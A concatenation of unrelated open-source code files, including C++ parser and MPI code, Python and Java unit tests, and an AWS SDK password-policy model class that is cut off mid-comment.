stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(zoom().start, 12);
BOOST_CHECK_EQUAL(zoom().end, 21);
}
/* Selector */
BOOST_AUTO_TEST_CASE(GivenSingleSelector_WhenParse_ThenNameAndConditionsAreSet) {
std::string str = "way|z1[highway] {key:value;}";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(selector().names.size(), 1);
BOOST_CHECK_EQUAL(selector().names[0], "way");
BOOST_CHECK_EQUAL(selector().conditions.size(), 1);
BOOST_CHECK_EQUAL(selector().conditions[0].key, "highway");
}
BOOST_AUTO_TEST_CASE(GivenTwoSelectors_WhenParse_ThenNameAndConditionsAreSet) {
std::string str = "way|z1[highway][landuse] {key:value;}";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(selector().names.size(), 1);
BOOST_CHECK_EQUAL(selector().names[0], "way");
BOOST_CHECK_EQUAL(selector().conditions.size(), 2);
BOOST_CHECK_EQUAL(selector().conditions[0].key, "highway");
BOOST_CHECK_EQUAL(selector().conditions[1].key, "landuse");
}
BOOST_AUTO_TEST_CASE(GivenTwoSelectorNames_WhenParse_ThenNamesAndConditionsAreSet) {
std::string str = "area,relation|z1[building][part] {key:value;}";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(selector().names.size(), 2);
BOOST_CHECK_EQUAL(selector().names[0], "area");
BOOST_CHECK_EQUAL(selector().names[1], "relation");
BOOST_CHECK_EQUAL(selector().conditions.size(), 2);
BOOST_CHECK_EQUAL(selector().conditions[0].key, "building");
BOOST_CHECK_EQUAL(selector().conditions[1].key, "part");
}
/* Declaration */
BOOST_AUTO_TEST_CASE(GivenSingleDeclaraion_WhenParse_ThenKeyValueAreSet) {
std::string str = "way|z1[highway] {key1:value1;}";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(declaration().key, "key1");
BOOST_CHECK_EQUAL(declaration().value, "value1");
}
BOOST_AUTO_TEST_CASE(GivenGradientDeclaraion_WhenParse_ThenGradientValueIsCorrect) {
std::string str = "way|z1[highway] {color:gradient(#dcdcdc 0%, #c0c0c0 10%, #a9a9a9 50%, #808080); }";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(declaration().key, "color");
BOOST_CHECK_EQUAL(declaration().value, "gradient(#dcdcdc 0%, #c0c0c0 10%, #a9a9a9 50%, #808080)");
}
/* Rule */
BOOST_AUTO_TEST_CASE(GivenSimpleRule_WhenParse_ThenSelectorAndDeclarationAreSet) {
std::string str = "way|z1[highway] {key1:value1;}";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(rule().selectors.size(), 1);
BOOST_CHECK_EQUAL(rule().declarations.size(), 1);
BOOST_CHECK_EQUAL(rule().selectors[0].conditions[0].key, "highway");
BOOST_CHECK_EQUAL(rule().declarations[0].key, "key1");
BOOST_CHECK_EQUAL(rule().declarations[0].value, "value1");
}
BOOST_AUTO_TEST_CASE(GivenComplexRule_WhenParse_ThenSelectorAndDeclarationAreSet) {
std::string str = "way|z1[highway],area|z2[landuse] { key1:value1; key2:value2; }";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(rule().selectors.size(), 2);
BOOST_CHECK_EQUAL(rule().declarations.size(), 2);
BOOST_CHECK_EQUAL(rule().selectors[0].names.size(), 1);
BOOST_CHECK_EQUAL(rule().selectors[0].names[0], "way");
BOOST_CHECK_EQUAL(rule().selectors[1].names.size(), 1);
BOOST_CHECK_EQUAL(rule().selectors[1].names[0], "area");
BOOST_CHECK_EQUAL(rule().selectors[0].conditions[0].key, "highway");
BOOST_CHECK_EQUAL(rule().selectors[1].conditions[0].key, "landuse");
BOOST_CHECK_EQUAL(rule().declarations[0].key, "key1");
BOOST_CHECK_EQUAL(rule().declarations[0].value, "value1");
BOOST_CHECK_EQUAL(rule().declarations[1].key, "key2");
BOOST_CHECK_EQUAL(rule().declarations[1].value, "value2");
}
/* StyleSheet */
BOOST_AUTO_TEST_CASE(GivenFourRulesOnDifferentLines_WhenParse_ThenHasFourRules) {
std::string str =
"way|z1[highway] { key1:value1; }\n"
"area|z2[landuse] { key2:value2; }\n"
"node|z3[amenity] { key3:value3; }\n"
"canvas|z3 { key4:value4; }";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(stylesheet.rules.size(), 4);
}
BOOST_AUTO_TEST_CASE(GivenSimpleStyleSheet_WhenParserParse_ThenNoErrorsAndHasValidStyleSheet) {
std::string str = "way|z1[highway] { key1:value1; }\n";
MapCssParser parser;
StyleSheet stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(stylesheet.rules.size(), 1);
}
BOOST_AUTO_TEST_CASE(GivenCanvasRule_WhenParse_ThenProcessValidStyleSheet) {
std::string str = "canvas|z1 { key1:value1; }\n";
MapCssParser parser;
StyleSheet stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(stylesheet.rules.size(), 1);
}
BOOST_AUTO_TEST_CASE(GivenSimpleRuleWithZoomRange_WhenParse_ThenReturnCorrectZoomStartAndEnd) {
std::string str = "way|z1-12[highway]{key1:value1;}";
MapCssParser parser;
StyleSheet stylesheet = parser.parse(str);
Selector selector = stylesheet.rules[0].selectors[0];
BOOST_CHECK_EQUAL(selector.zoom.start, 1);
BOOST_CHECK_EQUAL(selector.zoom.end, 12);
}
BOOST_AUTO_TEST_CASE(GivenRuleWithGradient_WhenParse_ThenReturnCorrectGradientValue) {
std::string str = "way|z1-12[highway]{color:gradient(#dcdcdc 0%, #c0c0c0 10%, #a9a9a9 50%, #808080);}";
MapCssParser parser;
StyleSheet stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(stylesheet.rules.size(), 1);
BOOST_CHECK_EQUAL(stylesheet.rules[0].declarations[0].value,
"gradient(#dcdcdc 0%, #c0c0c0 10%, #a9a9a9 50%, #808080)");
}
BOOST_AUTO_TEST_CASE(GivenImportFile_WhenParse_ThenAllRulesAreMerged) {
std::ifstream styleFile(TEST_MAPCSS_PATH "import.mapcss");
MapCssParser parser(TEST_MAPCSS_PATH);
StyleSheet stylesheet = parser.parse(styleFile);
BOOST_CHECK_EQUAL(stylesheet.rules.size(), 5);
}
BOOST_AUTO_TEST_CASE(GivenImportFile_WhenParse_ThenHasOneTexture) {
std::ifstream styleFile(TEST_MAPCSS_PATH "import.mapcss");
MapCssParser parser(TEST_MAPCSS_PATH);
StyleSheet stylesheet = parser.parse(styleFile);
BOOST_CHECK_EQUAL(stylesheet.textures.size(), 1);
}
BOOST_AUTO_TEST_CASE(GivenImportFile_WhenParse_ThenHasTwoLSystem) {
std::ifstream styleFile(TEST_MAPCSS_PATH "import.mapcss");
MapCssParser parser(TEST_MAPCSS_PATH);
StyleSheet stylesheet = parser.parse(styleFile);
BOOST_CHECK_EQUAL(stylesheet.lsystems.size(), 2);
}
BOOST_AUTO_TEST_CASE(GivenElementRule_WhenParse_ThenReturnRule) {
std::string str = "element|z1[id=7] { key1:value1; }\n";
MapCssParser parser;
StyleSheet stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(stylesheet.rules.size(), 1);
BOOST_CHECK_EQUAL(stylesheet.rules[0].selectors[0].names[0], "element");
BOOST_CHECK_EQUAL(stylesheet.rules[0].selectors[0].conditions[0].key, "id");
BOOST_CHECK_EQUAL(stylesheet.rules[0].selectors[0].conditions[0].value, "7");
}
BOOST_AUTO_TEST_SUITE_END()
| 3,859 |
14,668 | // Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "third_party/blink/renderer/core/editing/ng_flat_tree_shorthands.h"
#include "third_party/blink/renderer/core/editing/local_caret_rect.h"
#include "third_party/blink/renderer/core/editing/position.h"
#include "third_party/blink/renderer/core/editing/position_with_affinity.h"
#include "third_party/blink/renderer/core/layout/ng/inline/ng_caret_position.h"
#include "third_party/blink/renderer/core/layout/ng/inline/ng_caret_rect.h"
#include "third_party/blink/renderer/core/layout/ng/inline/ng_line_utils.h"
#include "third_party/blink/renderer/core/layout/ng/inline/ng_offset_mapping.h"
namespace blink {
const LayoutBlockFlow* NGInlineFormattingContextOf(
const PositionInFlatTree& position) {
return NGInlineFormattingContextOf(ToPositionInDOMTree(position));
}
NGCaretPosition ComputeNGCaretPosition(
const PositionInFlatTreeWithAffinity& position) {
return ComputeNGCaretPosition(ToPositionInDOMTreeWithAffinity(position));
}
bool InSameNGLineBox(const PositionInFlatTreeWithAffinity& position1,
const PositionInFlatTreeWithAffinity& position2) {
return InSameNGLineBox(ToPositionInDOMTreeWithAffinity(position1),
ToPositionInDOMTreeWithAffinity(position2));
}
} // namespace blink
| 511 |
852 | <gh_stars>100-1000
import FWCore.ParameterSet.Config as cms
from SimGeneral.HepPDTESSource.pythiapdt_cfi import *
allElectronTracks = cms.EDProducer("ChargedCandidateProducer",
src = cms.InputTag("ctfWithMaterialTracks"),
particleType = cms.string('e-')
)
| 102 |
1,210 | <reponame>EuroLine/nheqminer
// Copyright (C) 2011 <NAME>.
// Use, modification and distribution is subject to the Boost Software
// License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
// Message Passing Interface 1.1 -- Section 4.5. Gatherv
#ifndef BOOST_MPI_GATHERV_HPP
#define BOOST_MPI_GATHERV_HPP
#include <boost/mpi/exception.hpp>
#include <boost/mpi/datatype.hpp>
#include <vector>
#include <boost/mpi/packed_oarchive.hpp>
#include <boost/mpi/packed_iarchive.hpp>
#include <boost/mpi/detail/point_to_point.hpp>
#include <boost/mpi/communicator.hpp>
#include <boost/mpi/environment.hpp>
#include <boost/assert.hpp>
namespace boost { namespace mpi {
namespace detail {
// We're gathering at the root for a type that has an associated MPI
// datatype, so we'll use MPI_Gatherv to do all of the work.
template<typename T>
void
gatherv_impl(const communicator& comm, const T* in_values, int in_size,
T* out_values, const int* sizes, const int* displs, int root, mpl::true_)
{
MPI_Datatype type = get_mpi_datatype<T>(*in_values);
BOOST_MPI_CHECK_RESULT(MPI_Gatherv,
(const_cast<T*>(in_values), in_size, type,
out_values, const_cast<int*>(sizes), const_cast<int*>(displs),
type, root, comm));
}
// We're gathering from a non-root for a type that has an associated MPI
// datatype, so we'll use MPI_Gatherv to do all of the work.
template<typename T>
void
gatherv_impl(const communicator& comm, const T* in_values, int in_size, int root,
mpl::true_)
{
MPI_Datatype type = get_mpi_datatype<T>(*in_values);
BOOST_MPI_CHECK_RESULT(MPI_Gatherv,
(const_cast<T*>(in_values), in_size, type,
0, 0, 0, type, root, comm));
}
// We're gathering at the root for a type that does not have an
// associated MPI datatype, so we'll need to serialize
// it. Unfortunately, this means that we cannot use MPI_Gatherv, so
// we'll just have all of the non-root nodes send individual
// messages to the root.
template<typename T>
void
gatherv_impl(const communicator& comm, const T* in_values, int in_size,
T* out_values, const int* sizes, const int* displs, int root, mpl::false_)
{
int tag = environment::collectives_tag();
int nprocs = comm.size();
for (int src = 0; src < nprocs; ++src) {
if (src == root)
// Our own values will never be transmitted: just copy them.
std::copy(in_values, in_values + in_size, out_values + displs[src]);
else {
// comm.recv(src, tag, out_values + displs[src], sizes[src]);
// Receive archive
packed_iarchive ia(comm);
MPI_Status status;
detail::packed_archive_recv(comm, src, tag, ia, status);
for (int i = 0; i < sizes[src]; ++i)
ia >> out_values[ displs[src] + i ];
}
}
}
// We're gathering at a non-root for a type that does not have an
// associated MPI datatype, so we'll need to serialize
// it. Unfortunately, this means that we cannot use MPI_Gatherv, so
// we'll just have all of the non-root nodes send individual
// messages to the root.
template<typename T>
void
gatherv_impl(const communicator& comm, const T* in_values, int in_size, int root,
mpl::false_)
{
int tag = environment::collectives_tag();
// comm.send(root, tag, in_values, in_size);
packed_oarchive oa(comm);
for (int i = 0; i < in_size; ++i)
oa << in_values[i];
detail::packed_archive_send(comm, root, tag, oa);
}
} // end namespace detail
template<typename T>
void
gatherv(const communicator& comm, const T* in_values, int in_size,
T* out_values, const std::vector<int>& sizes, const std::vector<int>& displs,
int root)
{
if (comm.rank() == root)
detail::gatherv_impl(comm, in_values, in_size,
out_values, &sizes[0], &displs[0],
root, is_mpi_datatype<T>());
else
detail::gatherv_impl(comm, in_values, in_size, root, is_mpi_datatype<T>());
}
template<typename T>
void
gatherv(const communicator& comm, const std::vector<T>& in_values,
T* out_values, const std::vector<int>& sizes, const std::vector<int>& displs,
int root)
{
::boost::mpi::gatherv(comm, &in_values[0], in_values.size(), out_values, sizes, displs, root);
}
template<typename T>
void gatherv(const communicator& comm, const T* in_values, int in_size, int root)
{
BOOST_ASSERT(comm.rank() != root);
detail::gatherv_impl(comm, in_values, in_size, root, is_mpi_datatype<T>());
}
template<typename T>
void gatherv(const communicator& comm, const std::vector<T>& in_values, int root)
{
BOOST_ASSERT(comm.rank() != root);
detail::gatherv_impl(comm, &in_values[0], in_values.size(), root, is_mpi_datatype<T>());
}
///////////////////////
// common use versions
///////////////////////
template<typename T>
void
gatherv(const communicator& comm, const T* in_values, int in_size,
T* out_values, const std::vector<int>& sizes, int root)
{
int nprocs = comm.size();
std::vector<int> displs( nprocs );
for (int rank = 0, aux = 0; rank < nprocs; ++rank) {
displs[rank] = aux;
aux += sizes[rank];
}
::boost::mpi::gatherv(comm, in_values, in_size, out_values, sizes, displs, root);
}
template<typename T>
void
gatherv(const communicator& comm, const std::vector<T>& in_values,
T* out_values, const std::vector<int>& sizes, int root)
{
::boost::mpi::gatherv(comm, &in_values[0], in_values.size(), out_values, sizes, root);
}
} } // end namespace boost::mpi
#endif // BOOST_MPI_GATHERV_HPP
| 2,402 |
4,440 | <reponame>caffeinatedMike/flask-admin
from flask_admin import tools
def test_encode_decode():
assert tools.iterdecode(tools.iterencode([1, 2, 3])) == (u'1', u'2', u'3')
assert tools.iterdecode(tools.iterencode([',', ',', ','])) == (u',', u',', u',')
assert tools.iterdecode(tools.iterencode(['.hello.,', ',', ','])) == (u'.hello.,', u',', u',')
assert tools.iterdecode(tools.iterencode(['.....,,,.,,..,.,,.,'])) == (u'.....,,,.,,..,.,,.,',)
assert tools.iterdecode(tools.iterencode([])) == tuple()
# Malformed inputs should not crash
assert tools.iterdecode('.')
assert tools.iterdecode(',') == (u'', u'')
| 260 |
1,056 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.modules.html.parser;
import java.util.Collection;
import org.junit.Test;
import org.netbeans.modules.html.editor.lib.api.elements.Element;
import static org.junit.Assert.*;
import org.netbeans.junit.NbTestCase;
import org.netbeans.modules.html.parser.ElementsFactory.CommonAttribute;
import org.netbeans.modules.html.parser.ElementsFactory.ModifiableOpenTag;
/**
*
* @author marekfukala
*/
public class ElementsFactoryTest extends NbTestCase {
public ElementsFactoryTest(String name) {
super(name);
}
//http://netbeans.org/bugzilla/show_bug.cgi?id=210628
//Bug 210628 - java.util.ConcurrentModificationException at java.util.AbstractList$Itr.checkForComodification
public void testAddRemoveChildren() {
//test if one passes the children itself to the add/removeChildren() methods
ElementsFactory factory = new ElementsFactory("<div><a>");
// 012345678
ModifiableOpenTag div = factory.createOpenTag(0, 5, (byte)3);
ModifiableOpenTag a = factory.createOpenTag(5, 8, (byte)1);
div.addChild(a);
Collection<Element> div_children = div.children();
assertNotNull(div_children);
assertEquals(1, div_children.size());
assertSame(a, div_children.iterator().next());
//pass the same collection instance to the removeChildren()
div.removeChildren(div_children);
assertEquals(0, div.children().size());
//restore
div.addChild(a);
//
//pass the same collection instance to the addChildren()
div.addChildren(div.children());
assertEquals(2, div.children().size());
}
public void testAttributeUnquotedValue() {
//test that attribute.unquotedValue() wont's cause NPE on non-value attribute
ElementsFactory factory = new ElementsFactory("<div id/>");
// 0123456789
CommonAttribute id = factory.createAttribute(5, (byte)2);
assertNull(id.unquotedValue());
}
public void testAttributeRange() {
ElementsFactory factory = new ElementsFactory("<div id/>");
// 0123456789
CommonAttribute id = factory.createAttribute(5, (byte)2);
assertEquals(5, id.from());
assertEquals(7, id.to());
factory = new ElementsFactory("<div id=val/>");
// 01234567890123
id = factory.createAttribute(5, 8, (byte)2, (short)3);
assertEquals(5, id.from());
assertEquals(11, id.to());
}
}
| 1,443 |
550 | <reponame>HPLegion/glue<gh_stars>100-1000
import pytest
import numpy as np
from numpy.testing import assert_equal
from glue.core import Data, DataCollection
from glue.core.link_helpers import LinkSame
ARRAY = np.arange(3024).reshape((6, 7, 8, 9)).astype(float)
class TestFixedResolutionBuffer():
def setup_method(self, method):
self.data_collection = DataCollection()
# The reference dataset. Shape is (6, 7, 8, 9).
self.data1 = Data(x=ARRAY)
self.data_collection.append(self.data1)
# A dataset with the same shape but not linked. Shape is (6, 7, 8, 9).
self.data2 = Data(x=ARRAY)
self.data_collection.append(self.data2)
# A dataset with the same number of dimensions but in a different
# order, linked to the first. Shape is (9, 7, 6, 8).
self.data3 = Data(x=np.moveaxis(ARRAY, (3, 1, 0, 2), (0, 1, 2, 3)))
self.data_collection.append(self.data3)
self.data_collection.add_link(LinkSame(self.data1.pixel_component_ids[0],
self.data3.pixel_component_ids[2]))
self.data_collection.add_link(LinkSame(self.data1.pixel_component_ids[1],
self.data3.pixel_component_ids[1]))
self.data_collection.add_link(LinkSame(self.data1.pixel_component_ids[2],
self.data3.pixel_component_ids[3]))
self.data_collection.add_link(LinkSame(self.data1.pixel_component_ids[3],
self.data3.pixel_component_ids[0]))
# A dataset with fewer dimensions, linked to the first one. Shape is
# (8, 7, 6)
self.data4 = Data(x=ARRAY[:, :, :, 0].transpose())
self.data_collection.append(self.data4)
self.data_collection.add_link(LinkSame(self.data1.pixel_component_ids[0],
self.data4.pixel_component_ids[2]))
self.data_collection.add_link(LinkSame(self.data1.pixel_component_ids[1],
self.data4.pixel_component_ids[1]))
self.data_collection.add_link(LinkSame(self.data1.pixel_component_ids[2],
self.data4.pixel_component_ids[0]))
# A dataset with even fewer dimensions, linked to the first one. Shape
# is (8, 6)
self.data5 = Data(x=ARRAY[:, 0, :, 0].transpose())
self.data_collection.append(self.data5)
self.data_collection.add_link(LinkSame(self.data1.pixel_component_ids[0],
self.data5.pixel_component_ids[1]))
self.data_collection.add_link(LinkSame(self.data1.pixel_component_ids[2],
self.data5.pixel_component_ids[0]))
# A dataset that is not on the same pixel grid and requires reprojection
# self.data6 = Data()
# self.data6.coords = SimpleCoordinates()
# self.array_nonaligned = np.arange(60).reshape((5, 3, 4))
# self.data6['x'] = np.array(self.array_nonaligned)
# self.data_collection.append(self.data6)
# self.data_collection.add_link(LinkSame(self.data1.world_component_ids[0],
# self.data6.world_component_ids[1]))
# self.data_collection.add_link(LinkSame(self.data1.world_component_ids[1],
# self.data6.world_component_ids[2]))
# self.data_collection.add_link(LinkSame(self.data1.world_component_ids[2],
# self.data6.world_component_ids[0]))
# Start off with the cases where the data is the target data. Enumerate
# the different cases for the bounds and the expected result.
DATA_IS_TARGET_CASES = [
# Bounds are full extent of data
([(0, 5, 6), (0, 6, 7), (0, 7, 8), (0, 8, 9)],
ARRAY),
# Bounds are inside data
([(2, 3, 2), (3, 3, 1), (0, 7, 8), (0, 7, 8)],
ARRAY[2:4, 3:4, :, :8]),
# Bounds are outside data along some dimensions
([(-5, 9, 15), (3, 5, 3), (0, 9, 10), (5, 6, 2)],
np.pad(ARRAY[:, 3:6, :, 5:7], [(5, 4), (0, 0), (0, 2), (0, 0)],
mode='constant', constant_values=-np.inf)),
# No overlap
([(2, 3, 2), (3, 3, 1), (-5, -4, 2), (0, 7, 8)],
-np.inf * np.ones((2, 1, 2, 8)))
]
@pytest.mark.parametrize(('bounds', 'expected'), DATA_IS_TARGET_CASES)
def test_data_is_target_full_bounds(self, bounds, expected):
buffer = self.data1.compute_fixed_resolution_buffer(target_data=self.data1, bounds=bounds,
target_cid=self.data1.id['x'])
assert_equal(buffer, expected)
buffer = self.data3.compute_fixed_resolution_buffer(target_data=self.data1, bounds=bounds,
target_cid=self.data3.id['x'])
assert_equal(buffer, expected)
| 2,589 |
1,874 | # Copyright 2012 Nebula, Inc.
# Copyright 2013 IBM Corp.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from nova.tests.functional.api_sample_tests import api_sample_base
class ExtensionInfoAllSamplesJsonTest(api_sample_base.ApiSampleTestBaseV21):
sample_dir = "extension-info"
def test_list_extensions(self):
response = self._do_get('extensions')
# The full extension list is one of the places that things are
# different between the API versions and the legacy vs. new
# stack. We default to the v2.1 case.
template = 'extensions-list-resp'
if self.api_major_version == 'v2':
template = 'extensions-list-resp-v21-compatible'
self._verify_response(template, {}, response, 200)
class ExtensionInfoSamplesJsonTest(api_sample_base.ApiSampleTestBaseV21):
sample_dir = "extension-info"
def test_get_extensions(self):
response = self._do_get('extensions/os-agents')
self._verify_response('extensions-get-resp', {}, response, 200)
| 534 |
3,372 | <filename>aws-java-sdk-cognitoidp/src/main/java/com/amazonaws/services/cognitoidp/model/PasswordPolicyType.java
/*
* Copyright 2016-2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions
* and limitations under the License.
*/
package com.amazonaws.services.cognitoidp.model;
import java.io.Serializable;
import javax.annotation.Generated;
import com.amazonaws.protocol.StructuredPojo;
import com.amazonaws.protocol.ProtocolMarshaller;
/**
* <p>
* The password policy type.
* </p>
*
* @see <a href="http://docs.aws.amazon.com/goto/WebAPI/cognito-idp-2016-04-18/PasswordPolicyType" target="_top">AWS API
* Documentation</a>
*/
@Generated("com.amazonaws:aws-java-sdk-code-generator")
public class PasswordPolicyType implements Serializable, Cloneable, StructuredPojo {
/**
* <p>
* The minimum length of the password policy that you have set. Cannot be less than 6.
* </p>
*/
private Integer minimumLength;
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one uppercase
* letter in their password.
* </p>
*/
private Boolean requireUppercase;
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one lowercase
* letter in their password.
* </p>
*/
private Boolean requireLowercase;
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one number in
* their password.
* </p>
*/
private Boolean requireNumbers;
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one symbol in
* their password.
* </p>
*/
private Boolean requireSymbols;
/**
* <p>
* In the password policy you have set, refers to the number of days a temporary password is valid. If the user does
* not sign-in during this time, their password will need to be reset by an administrator.
* </p>
* <note>
* <p>
* When you set <code>TemporaryPasswordValidityDays</code> for a user pool, you will no longer be able to set the
* deprecated <code>UnusedAccountValidityDays</code> value for that user pool.
* </p>
* </note>
*/
private Integer temporaryPasswordValidityDays;
/**
* <p>
* The minimum length of the password policy that you have set. Cannot be less than 6.
* </p>
*
* @param minimumLength
* The minimum length of the password policy that you have set. Cannot be less than 6.
*/
public void setMinimumLength(Integer minimumLength) {
this.minimumLength = minimumLength;
}
/**
* <p>
* The minimum length of the password policy that you have set. Cannot be less than 6.
* </p>
*
* @return The minimum length of the password policy that you have set. Cannot be less than 6.
*/
public Integer getMinimumLength() {
return this.minimumLength;
}
/**
* <p>
* The minimum length of the password policy that you have set. Cannot be less than 6.
* </p>
*
* @param minimumLength
* The minimum length of the password policy that you have set. Cannot be less than 6.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public PasswordPolicyType withMinimumLength(Integer minimumLength) {
setMinimumLength(minimumLength);
return this;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one uppercase
* letter in their password.
* </p>
*
* @param requireUppercase
* In the password policy that you have set, refers to whether you have required users to use at least one
* uppercase letter in their password.
*/
public void setRequireUppercase(Boolean requireUppercase) {
this.requireUppercase = requireUppercase;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one uppercase
* letter in their password.
* </p>
*
* @return In the password policy that you have set, refers to whether you have required users to use at least one
* uppercase letter in their password.
*/
public Boolean getRequireUppercase() {
return this.requireUppercase;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one uppercase
* letter in their password.
* </p>
*
* @param requireUppercase
* In the password policy that you have set, refers to whether you have required users to use at least one
* uppercase letter in their password.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public PasswordPolicyType withRequireUppercase(Boolean requireUppercase) {
setRequireUppercase(requireUppercase);
return this;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one uppercase
* letter in their password.
* </p>
*
* @return In the password policy that you have set, refers to whether you have required users to use at least one
* uppercase letter in their password.
*/
public Boolean isRequireUppercase() {
return this.requireUppercase;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one lowercase
* letter in their password.
* </p>
*
* @param requireLowercase
* In the password policy that you have set, refers to whether you have required users to use at least one
* lowercase letter in their password.
*/
public void setRequireLowercase(Boolean requireLowercase) {
this.requireLowercase = requireLowercase;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one lowercase
* letter in their password.
* </p>
*
* @return In the password policy that you have set, refers to whether you have required users to use at least one
* lowercase letter in their password.
*/
public Boolean getRequireLowercase() {
return this.requireLowercase;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one lowercase
* letter in their password.
* </p>
*
* @param requireLowercase
* In the password policy that you have set, refers to whether you have required users to use at least one
* lowercase letter in their password.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public PasswordPolicyType withRequireLowercase(Boolean requireLowercase) {
setRequireLowercase(requireLowercase);
return this;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one lowercase
* letter in their password.
* </p>
*
* @return In the password policy that you have set, refers to whether you have required users to use at least one
* lowercase letter in their password.
*/
public Boolean isRequireLowercase() {
return this.requireLowercase;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one number in
* their password.
* </p>
*
* @param requireNumbers
* In the password policy that you have set, refers to whether you have required users to use at least one
* number in their password.
*/
public void setRequireNumbers(Boolean requireNumbers) {
this.requireNumbers = requireNumbers;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one number in
* their password.
* </p>
*
* @return In the password policy that you have set, refers to whether you have required users to use at least one
* number in their password.
*/
public Boolean getRequireNumbers() {
return this.requireNumbers;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one number in
* their password.
* </p>
*
* @param requireNumbers
* In the password policy that you have set, refers to whether you have required users to use at least one
* number in their password.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public PasswordPolicyType withRequireNumbers(Boolean requireNumbers) {
setRequireNumbers(requireNumbers);
return this;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one number in
* their password.
* </p>
*
* @return In the password policy that you have set, refers to whether you have required users to use at least one
* number in their password.
*/
public Boolean isRequireNumbers() {
return this.requireNumbers;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one symbol in
* their password.
* </p>
*
* @param requireSymbols
* In the password policy that you have set, refers to whether you have required users to use at least one
* symbol in their password.
*/
public void setRequireSymbols(Boolean requireSymbols) {
this.requireSymbols = requireSymbols;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one symbol in
* their password.
* </p>
*
* @return In the password policy that you have set, refers to whether you have required users to use at least one
* symbol in their password.
*/
public Boolean getRequireSymbols() {
return this.requireSymbols;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one symbol in
* their password.
* </p>
*
* @param requireSymbols
* In the password policy that you have set, refers to whether you have required users to use at least one
* symbol in their password.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public PasswordPolicyType withRequireSymbols(Boolean requireSymbols) {
setRequireSymbols(requireSymbols);
return this;
}
/**
* <p>
* In the password policy that you have set, refers to whether you have required users to use at least one symbol in
* their password.
* </p>
*
* @return In the password policy that you have set, refers to whether you have required users to use at least one
* symbol in their password.
*/
public Boolean isRequireSymbols() {
return this.requireSymbols;
}
/**
* <p>
* In the password policy you have set, refers to the number of days a temporary password is valid. If the user does
* not sign-in during this time, their password will need to be reset by an administrator.
* </p>
* <note>
* <p>
* When you set <code>TemporaryPasswordValidityDays</code> for a user pool, you will no longer be able to set the
* deprecated <code>UnusedAccountValidityDays</code> value for that user pool.
* </p>
* </note>
*
* @param temporaryPasswordValidityDays
* In the password policy you have set, refers to the number of days a temporary password is valid. If the
* user does not sign-in during this time, their password will need to be reset by an administrator.</p>
* <note>
* <p>
* When you set <code>TemporaryPasswordValidityDays</code> for a user pool, you will no longer be able to set
* the deprecated <code>UnusedAccountValidityDays</code> value for that user pool.
* </p>
*/
public void setTemporaryPasswordValidityDays(Integer temporaryPasswordValidityDays) {
this.temporaryPasswordValidityDays = temporaryPasswordValidityDays;
}
/**
* <p>
* In the password policy you have set, refers to the number of days a temporary password is valid. If the user does
* not sign-in during this time, their password will need to be reset by an administrator.
* </p>
* <note>
* <p>
